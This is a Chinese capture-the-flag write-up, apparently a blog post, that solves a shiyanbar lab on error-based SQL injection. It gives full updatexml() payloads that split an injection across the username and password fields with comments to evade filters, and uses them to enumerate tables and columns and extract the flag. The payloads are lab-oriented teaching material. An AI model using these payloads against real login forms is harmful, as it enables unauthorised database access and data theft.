美文网首页
报错注入

报错注入

作者: 帅猪佩奇 | 来源:发表于2018-12-06 15:20 被阅读2次

    HTTP分割注入 

    题目地址实验吧:加了料的报错注入。

    地址:http://ctf5.shiyanbar.com/web/baocuo/index.php

    查看页面源代码,给出了我们sql查询语句很常规

        <!-- $sql="select * from users where username='$username' and password='$password'";  -->

    根据提示 post传一个username和password然后开始注入

    语句:

        username=admin' or '&password=admin

    显示 You are our member, welcome to enter,可以说明单引号空格没有被过滤,不过既然是报错注入,那么加个单引号试试。

    语句:

        username=admin'&password=admin

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1

    接下来写报错语句

    语句:

        username=admin'and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=admin

    一翻测试之后发现,有个神奇的过滤,username过滤了(),password过滤了一切报错函数。

    可以组合一下。username写函数updatexml。password写(),但是怎么合并为一起呢,想到sql语句是

    select * from users where username='$username' and password='$password

    $username=updatexm/*,$password=*/...这样sql语句会变成

        select * from users where username='updatexm/* and password='*/...

    这样便可以注释掉中间的代码一种骚姿势,接下来继续正常注入。

        username=' and updatexml/*&password=*/(1,concat(0x7e,(select database()),0x7e),1) or '

    成功爆出来数据库名称。

    语句

        username=' and updatexml/*&password=*/(1,concat(0x7e,(select table_name from information_schema.tables where table_schema ='error_based_hpf'),0x7e),1) or '

    等于号被过滤,可以使用正则注入,也就是=换成regexp

        username=' and updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp'error_based_hpf'),0x7e),1) or '

    这里使用group_concat来爆出所有的表名字

        XPATH syntax error: '~ffll44jj,users~'

    查列

        username=' and updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name regexp'ffll44jj'),0x7e),1) or '

        XPATH syntax error: '~value~'

    查数据

        username=' and updatexml/*&password=*/(1,concat(0x7e,(select value from 

        ffll44jj),0x7e),1) or '

        XPATH syntax error: '~flag{err0r_b4sed_sqli_+_hpf}~'

    如果flag超过32位,可以mid截断来查询。不过本题中是禁止了mid函数的不过也不超过32位可以直接获取flag。

    相关文章

      网友评论

          本文标题:报错注入

          本文链接:https://www.haomeiwen.com/subject/sdsocqtx.html